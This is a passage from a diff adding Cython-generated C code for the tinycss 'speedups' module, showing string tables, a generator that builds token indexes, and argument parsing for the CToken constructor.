void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* CoroutineBase.proto */ +typedef PyObject *(*__pyx_coroutine_body_t)(PyObject *, PyObject *); +typedef struct { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static int __Pyx_Coroutine_clear(PyObject *self); +#if 1 || PY_VERSION_HEX < 0x030300B0 +static int __Pyx_PyGen_FetchStopIterationValue(PyObject **pvalue); +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue) PyGen_FetchStopIterationValue(pvalue) +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Generator.proto */ +#define __Pyx_Generator_USED +static PyTypeObject *__pyx_GeneratorType = 0; +#define __Pyx_Generator_CheckExact(obj) (Py_TYPE(obj) == __pyx_GeneratorType) +#define __Pyx_Generator_New(body, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_GeneratorType, body, closure, name, qualname, module_name) +static PyObject *__Pyx_Generator_Next(PyObject *self); +static int __pyx_Generator_init(void); + +/* CheckBinaryVersion.proto */ +static int __Pyx_check_binary_version(void); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + + +/* Module declarations from 'tinycss.speedups' */ +static PyTypeObject *__pyx_ptype_7tinycss_8speedups_CToken = 0; +static PyTypeObject *__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr = 0; +#define __Pyx_MODULE_NAME "tinycss.speedups" +int __pyx_module_is_main_tinycss__speedups = 0; + +/* Implementation of 'tinycss.speedups' */ +static PyObject *__pyx_builtin_enumerate; +static const char __pyx_k_[] = ""; +static const char __pyx_k__2[] = ":;{}()[]"; +static const char __pyx_k__4[] = "."; +static const char __pyx_k__7[] = "%"; +static const char __pyx_k__9[] = "\"'"; +static const char __pyx_k_URI[] = "URI"; +static const char __pyx_k_end[] = "end"; +static const char __pyx_k_pos[] = "pos"; +static const char __pyx_k_HASH[] = "HASH"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_char[] = "char"; +static const char __pyx_k_line[] = "line"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_type[] = "type_"; +static const char __pyx_k_unit[] = "unit"; +static const char __pyx_k_DELIM[] = "DELIM"; +static const char __pyx_k_IDENT[] = "IDENT"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_group[] = "group"; +static const char __pyx_k_lower[] = "lower"; +static const char __pyx_k_match[] = "match"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_token[] = "token"; +static const char __pyx_k_value[] = "value"; +static const char __pyx_k_NUMBER[] = "NUMBER"; +static const char __pyx_k_STRING[] = "STRING"; +static const char __pyx_k_column[] = "column"; +static const char __pyx_k_format[] = "format"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_length[] = "length"; +static const char __pyx_k_regexp[] = "regexp"; +static const char __pyx_k_tokens[] = "tokens"; +static const char __pyx_k_COMMENT[] = "COMMENT"; +static const char __pyx_k_INTEGER[] = "INTEGER"; +static const char __pyx_k_genexpr[] = "genexpr"; +static const char __pyx_k_FUNCTION[] = "FUNCTION"; +static const char __pyx_k_n_tokens[] = "n_tokens"; +static const char __pyx_k_newlines[] = "newlines"; +static const char __pyx_k_next_pos[] = "next_pos"; +static const char __pyx_k_ATKEYWORD[] = "ATKEYWORD"; +static const char __pyx_k_DIMENSION[] = "DIMENSION"; +static const char __pyx_k_codepoint[] = "codepoint"; +static const char __pyx_k_css_value[] = "css_value"; +static const char __pyx_k_enumerate[] = "enumerate"; +static const char __pyx_k_type_name[] = "type_name"; +static const char __pyx_k_BAD_STRING[] = "BAD_STRING"; +static const char __pyx_k_PERCENTAGE[] = "PERCENTAGE"; +static const char __pyx_k_css_source[] = "css_source"; +static const char __pyx_k_source_len[] = "source_len"; +static const char __pyx_k_token_data[] = "token_data"; +static const char __pyx_k_BAD_COMMENT[] = "BAD_COMMENT"; +static const char __pyx_k_is_container[] = "is_container"; +static const char __pyx_k_FIND_NEWLINES[] = "FIND_NEWLINES"; +static const char __pyx_k_find_newlines[] = "find_newlines"; +static const char __pyx_k_tokenize_flat[] = "tokenize_flat"; +static const char __pyx_k_TOKEN_DISPATCH[] = "TOKEN_DISPATCH"; +static const char __pyx_k_SIMPLE_UNESCAPE[] = "SIMPLE_UNESCAPE"; +static const char __pyx_k_compiled_tokens[] = "compiled_tokens"; +static const char __pyx_k_ignore_comments[] = "ignore_comments"; +static const char __pyx_k_simple_unescape[] = "simple_unescape"; +static const char __pyx_k_tokens_dispatch[] = "tokens_dispatch"; +static const char __pyx_k_NEWLINE_UNESCAPE[] = "NEWLINE_UNESCAPE"; +static const char __pyx_k_UNICODE_UNESCAPE[] = "UNICODE_UNESCAPE"; +static const char __pyx_k_newline_unescape[] = "newline_unescape"; +static const char __pyx_k_tinycss_speedups[] = "tinycss.speedups"; +static const char __pyx_k_unicode_unescape[] = "unicode_unescape"; +static const char __pyx_k_COMPILED_TOKEN_INDEXES[] = "COMPILED_TOKEN_INDEXES"; +static const char __pyx_k_COMPILED_TOKEN_REGEXPS[] = "COMPILED_TOKEN_REGEXPS"; +static const char __pyx_k_compiled_token_indexes[] = "compiled_token_indexes"; +static const char __pyx_k_home_lize_Informatique_tinycss[] = "/home/lize/Informatique/tinycss/tinycss/speedups.pyx"; +static const char __pyx_k_tinycss_speedups_Cython_module[] = "\n tinycss.speedups\n ----------------\n\n Cython module for speeding up inner loops.\n\n Right now only :func:`tokenize_flat` has a second implementation.\n\n :copyright: (c) 2010 by Simon Sapin.\n :license: BSD, see LICENSE for more details.\n"; +static const char __pyx_k_Token_0_type_at_0_line_0_column[] = ""; +static PyObject *__pyx_kp_u_; +static PyObject *__pyx_n_s_ATKEYWORD; +static PyObject *__pyx_n_u_ATKEYWORD; +static PyObject *__pyx_n_s_BAD_COMMENT; +static PyObject *__pyx_n_u_BAD_COMMENT; +static PyObject *__pyx_n_s_BAD_STRING; +static PyObject *__pyx_n_u_BAD_STRING; +static PyObject *__pyx_n_s_COMMENT; +static PyObject *__pyx_n_u_COMMENT; +static PyObject *__pyx_n_s_COMPILED_TOKEN_INDEXES; +static PyObject *__pyx_n_s_COMPILED_TOKEN_REGEXPS; +static PyObject *__pyx_n_s_DELIM; +static PyObject *__pyx_n_u_DELIM; +static PyObject *__pyx_n_s_DIMENSION; +static PyObject *__pyx_n_u_DIMENSION; +static PyObject *__pyx_n_s_FIND_NEWLINES; +static PyObject *__pyx_n_s_FUNCTION; +static PyObject *__pyx_n_u_FUNCTION; +static PyObject *__pyx_n_s_HASH; +static PyObject *__pyx_n_u_HASH; +static PyObject *__pyx_n_s_IDENT; +static PyObject *__pyx_n_u_IDENT; +static PyObject *__pyx_n_u_INTEGER; +static PyObject *__pyx_n_s_NEWLINE_UNESCAPE; +static PyObject *__pyx_n_s_NUMBER; +static PyObject *__pyx_n_u_NUMBER; +static PyObject *__pyx_n_s_PERCENTAGE; +static PyObject *__pyx_n_u_PERCENTAGE; +static PyObject *__pyx_n_s_SIMPLE_UNESCAPE; +static PyObject *__pyx_n_s_STRING; +static PyObject *__pyx_n_u_STRING; +static PyObject *__pyx_n_s_TOKEN_DISPATCH; +static PyObject *__pyx_kp_u_Token_0_type_at_0_line_0_column; +static PyObject *__pyx_n_s_UNICODE_UNESCAPE; +static PyObject *__pyx_n_s_URI; +static PyObject *__pyx_n_u_URI; +static PyObject *__pyx_kp_u__2; +static PyObject *__pyx_kp_u__4; +static PyObject *__pyx_kp_u__7; +static PyObject *__pyx_kp_u__9; +static PyObject *__pyx_n_s_args; +static PyObject *__pyx_n_s_char; +static PyObject *__pyx_n_s_close; +static PyObject *__pyx_n_s_codepoint; +static PyObject *__pyx_n_s_column; +static PyObject *__pyx_n_s_compiled_token_indexes; +static PyObject *__pyx_n_s_compiled_tokens; +static PyObject *__pyx_n_s_css_source; +static PyObject *__pyx_n_s_css_value; +static PyObject *__pyx_n_s_end; +static PyObject *__pyx_n_s_enumerate; +static PyObject *__pyx_n_s_find_newlines; +static PyObject *__pyx_n_s_format; +static PyObject *__pyx_n_s_genexpr; +static PyObject *__pyx_n_s_group; +static PyObject *__pyx_kp_s_home_lize_Informatique_tinycss; +static PyObject *__pyx_n_s_ignore_comments; +static PyObject *__pyx_n_s_import; +static PyObject *__pyx_n_s_is_container; +static PyObject *__pyx_n_s_length; +static PyObject *__pyx_n_s_line; +static PyObject *__pyx_n_s_lower; +static PyObject *__pyx_n_s_main; +static PyObject *__pyx_n_s_match; +static PyObject *__pyx_n_s_n_tokens; +static PyObject *__pyx_n_s_newline_unescape; +static PyObject *__pyx_n_s_newlines; +static PyObject *__pyx_n_s_next_pos; +static PyObject *__pyx_n_s_pos; +static PyObject *__pyx_n_s_regexp; +static PyObject *__pyx_n_s_send; +static PyObject *__pyx_n_s_simple_unescape; +static PyObject *__pyx_n_s_source_len; +static PyObject *__pyx_n_s_test; +static PyObject *__pyx_n_s_throw; +static PyObject *__pyx_n_s_tinycss_speedups; +static PyObject *__pyx_n_s_token; +static PyObject *__pyx_n_s_token_data; +static PyObject *__pyx_n_s_tokenize_flat; +static PyObject *__pyx_n_s_tokens; +static PyObject *__pyx_n_s_tokens_dispatch; +static PyObject *__pyx_n_s_type; +static PyObject *__pyx_n_s_type_name; +static PyObject *__pyx_n_s_unicode_unescape; +static PyObject *__pyx_n_s_unit; +static PyObject *__pyx_n_s_value; +static PyObject *__pyx_pf_7tinycss_8speedups_2genexpr(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken___init__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_type_, PyObject *__pyx_v_css_value, PyObject *__pyx_v_value, PyObject *__pyx_v_unit, PyObject *__pyx_v_line, PyObject *__pyx_v_column); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_2as_css(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4__repr__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4type___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_4type_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_4type_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_5value___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_5value_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_5value_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_4__del__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4line___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_4line_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_6column___get__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self); /* proto */ +static int __pyx_pf_7tinycss_8speedups_6CToken_6column_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value); /* proto */ +static PyObject *__pyx_pf_7tinycss_8speedups_tokenize_flat(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_css_source, int __pyx_v_ignore_comments); /* proto */ +static PyObject *__pyx_tp_new_7tinycss_8speedups_CToken(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_int_0; +static PyObject *__pyx_int_1; +static PyObject *__pyx_int_2; +static PyObject *__pyx_int_neg_1; +static PyObject *__pyx_slice__6; +static PyObject *__pyx_tuple__3; +static PyObject *__pyx_tuple__5; +static PyObject *__pyx_tuple__8; +static PyObject *__pyx_slice__10; +static PyObject *__pyx_slice__11; +static PyObject *__pyx_slice__12; +static PyObject *__pyx_tuple__13; +static PyObject *__pyx_codeobj__14; +static PyObject *__pyx_gb_7tinycss_8speedups_4generator(__pyx_CoroutineObject *__pyx_generator, PyObject *__pyx_sent_value); /* proto */ + +/* "tinycss/speedups.pyx":22 + * + * COMPILED_TOKEN_INDEXES = dict( + * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< + * + * + */ + +static PyObject *__pyx_pf_7tinycss_8speedups_2genexpr(CYTHON_UNUSED PyObject *__pyx_self) { + struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("genexpr", 0); + __pyx_cur_scope = (struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)__pyx_tp_new_7tinycss_8speedups___pyx_scope_struct__genexpr(__pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __Pyx_RefNannyFinishContext(); + return NULL; + } + __Pyx_GOTREF(__pyx_cur_scope); + { + __pyx_CoroutineObject *gen = __Pyx_Generator_New((__pyx_coroutine_body_t) __pyx_gb_7tinycss_8speedups_4generator, (PyObject *) __pyx_cur_scope, __pyx_n_s_genexpr, __pyx_n_s_genexpr, __pyx_n_s_tinycss_speedups); if (unlikely(!gen)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("tinycss.speedups.genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF(((PyObject *)__pyx_cur_scope)); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_7tinycss_8speedups_4generator(__pyx_CoroutineObject *__pyx_generator, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *__pyx_cur_scope = ((struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + PyObject *(*__pyx_t_5)(PyObject *); + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *(*__pyx_t_9)(PyObject *); + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("None", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_r = PyDict_New(); if (unlikely(!__pyx_r)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_r); + __Pyx_INCREF(__pyx_int_0); + __pyx_t_1 = __pyx_int_0; + __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_COMPILED_TOKEN_REGEXPS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (likely(PyList_CheckExact(__pyx_t_2)) || PyTuple_CheckExact(__pyx_t_2)) { + __pyx_t_3 = __pyx_t_2; __Pyx_INCREF(__pyx_t_3); __pyx_t_4 = 0; + __pyx_t_5 = NULL; + } else { + __pyx_t_4 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = Py_TYPE(__pyx_t_3)->tp_iternext; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 22, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + for (;;) { + if (likely(!__pyx_t_5)) { + if (likely(PyList_CheckExact(__pyx_t_3))) { + if (__pyx_t_4 >= PyList_GET_SIZE(__pyx_t_3)) break; + #if CYTHON_COMPILING_IN_CPYTHON + __pyx_t_2 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_2); __pyx_t_4++; if (unlikely(0 < 0)) __PYX_ERR(0, 22, __pyx_L1_error) + #else + __pyx_t_2 = PySequence_ITEM(__pyx_t_3, __pyx_t_4); __pyx_t_4++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + } else { + if (__pyx_t_4 >= PyTuple_GET_SIZE(__pyx_t_3)) break; + #if CYTHON_COMPILING_IN_CPYTHON + __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_2); __pyx_t_4++; if (unlikely(0 < 0)) __PYX_ERR(0, 22, __pyx_L1_error) + #else + __pyx_t_2 = PySequence_ITEM(__pyx_t_3, __pyx_t_4); __pyx_t_4++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + } + } else { + __pyx_t_2 = __pyx_t_5(__pyx_t_3); + if (unlikely(!__pyx_t_2)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 22, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_2); + } + if ((likely(PyTuple_CheckExact(__pyx_t_2))) || (PyList_CheckExact(__pyx_t_2))) { + PyObject* sequence = __pyx_t_2; + #if CYTHON_COMPILING_IN_CPYTHON + Py_ssize_t size = Py_SIZE(sequence); + #else + Py_ssize_t size = PySequence_Size(sequence); + #endif + if (unlikely(size != 2)) { + if (size > 2) __Pyx_RaiseTooManyValuesError(2); + else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); + __PYX_ERR(0, 22, __pyx_L1_error) + } + #if CYTHON_COMPILING_IN_CPYTHON + if (likely(PyTuple_CheckExact(sequence))) { + __pyx_t_6 = PyTuple_GET_ITEM(sequence, 0); + __pyx_t_7 = PyTuple_GET_ITEM(sequence, 1); + } else { + __pyx_t_6 = PyList_GET_ITEM(sequence, 0); + __pyx_t_7 = PyList_GET_ITEM(sequence, 1); + } + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + #else + __pyx_t_6 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + #endif + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } else { + Py_ssize_t index = -1; + __pyx_t_8 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_9 = Py_TYPE(__pyx_t_8)->tp_iternext; + index = 0; __pyx_t_6 = __pyx_t_9(__pyx_t_8); if (unlikely(!__pyx_t_6)) goto __pyx_L6_unpacking_failed; + __Pyx_GOTREF(__pyx_t_6); + index = 1; __pyx_t_7 = __pyx_t_9(__pyx_t_8); if (unlikely(!__pyx_t_7)) goto __pyx_L6_unpacking_failed; + __Pyx_GOTREF(__pyx_t_7); + if (__Pyx_IternextUnpackEndCheck(__pyx_t_9(__pyx_t_8), 2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_t_9 = NULL; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L7_unpacking_done; + __pyx_L6_unpacking_failed:; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_9 = NULL; + if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); + __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_L7_unpacking_done:; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_name); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_name, __pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_regexp); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_regexp, __pyx_t_7); + __Pyx_GIVEREF(__pyx_t_7); + __pyx_t_7 = 0; + __Pyx_INCREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyInt_AddObjC(__pyx_t_1, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); + __pyx_t_1 = __pyx_t_2; + __pyx_t_2 = 0; + if (unlikely(PyDict_SetItem(__pyx_r, (PyObject*)__pyx_cur_scope->__pyx_v_name, (PyObject*)__pyx_cur_scope->__pyx_v_i))) __PYX_ERR(0, 22, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* function exit code */ + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_AddTraceback("genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "tinycss/speedups.pyx":35 + * cdef public Py_ssize_t line, column + * + * def __init__(self, type_, css_value, value, unit, line, column): # <<<<<<<<<<<<<< + * self.type = type_ + * self._as_css = css_value + */ + +/* Python wrapper */ +static int __pyx_pw_7tinycss_8speedups_6CToken_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ +static int __pyx_pw_7tinycss_8speedups_6CToken_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { + PyObject *__pyx_v_type_ = 0; + PyObject *__pyx_v_css_value = 0; + PyObject *__pyx_v_value = 0; + PyObject *__pyx_v_unit = 0; + PyObject *__pyx_v_line = 0; + PyObject *__pyx_v_column = 0; + int __pyx_r; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__init__ (wrapper)", 0); + { + static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_type,&__pyx_n_s_css_value,&__pyx_n_s_value,&__pyx_n_s_unit,&__pyx_n_s_line,&__pyx_n_s_column,0}; + PyObject* values[6] = {0,0,0,0,0,0}; + if (unlikely(__pyx_kwds)) { + Py_ssize_t kw_args; + const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); + switch (pos_args) { + case 6: values[5] = PyTuple_GET_ITEM(__pyx_args, 5); + case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); + case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); + case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); + case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); + case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = PyDict_Size(__pyx_kwds); + switch (pos_args) { + case 0: + if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_type)) != 0)) kw_args--; + else goto __pyx_L5_argtuple_error; + case 1: + if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_css_value)) != 0)) kw_args--; + else { + __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 1); __PYX_ERR(0, 35, __pyx_L3_error) + } + case 2: + if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_value)) != 0)) kw_args--; + else { + __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 2); __PYX_ERR(0, 35, __pyx_L3_error) + } + case 3: + if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_unit)) != 0)) kw_args--; + else { + __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 3); __PYX_ERR(0, 35, __pyx_L3_error) + } + case 4: + if (likely((values[4] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_line)) != 0)) kw_args--; + else { + __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 4); __PYX_ERR(0, 35, __pyx_L3_error) + } + case 5: + if (likely((values[5] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_column)) != 0)) kw_args--; + else { + __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 5); __PYX_ERR(0, 35, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "__init__") < 0)) __PYX_ERR(0, 35, __pyx_L3_error) + } + } else if (PyTuple_GET_SIZE(__pyx_args) != 6) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = PyTuple_GET_ITEM(__pyx_args, 0); + values[1] = PyTuple_GET_ITEM(__pyx_args, 1); + values[2] = PyTuple_GET_ITEM(__pyx_args, 2); + values[3] = PyTuple_GET_ITEM(__pyx_args, 3); + values[4] = PyTuple_GET_ITEM(__pyx_args, 4); + values[5] = PyTuple_GET_ITEM(__pyx_args, 5); + } + __pyx_v_type_ = values[0]; + __pyx_v_css_value = values[1]; + __pyx_v_value = values[2]; + __pyx_v_unit = values[3]; + __pyx_v_line = values[4]; + __pyx_v_column = values[5]; + } + goto __pyx_L4_argument_unpacking_done; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 35, __pyx_L3_error) + __pyx_L3_error:; + __Pyx_AddTraceback("tinycss.speedups.CToken.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return -1; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken___init__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), __pyx_v_type_, 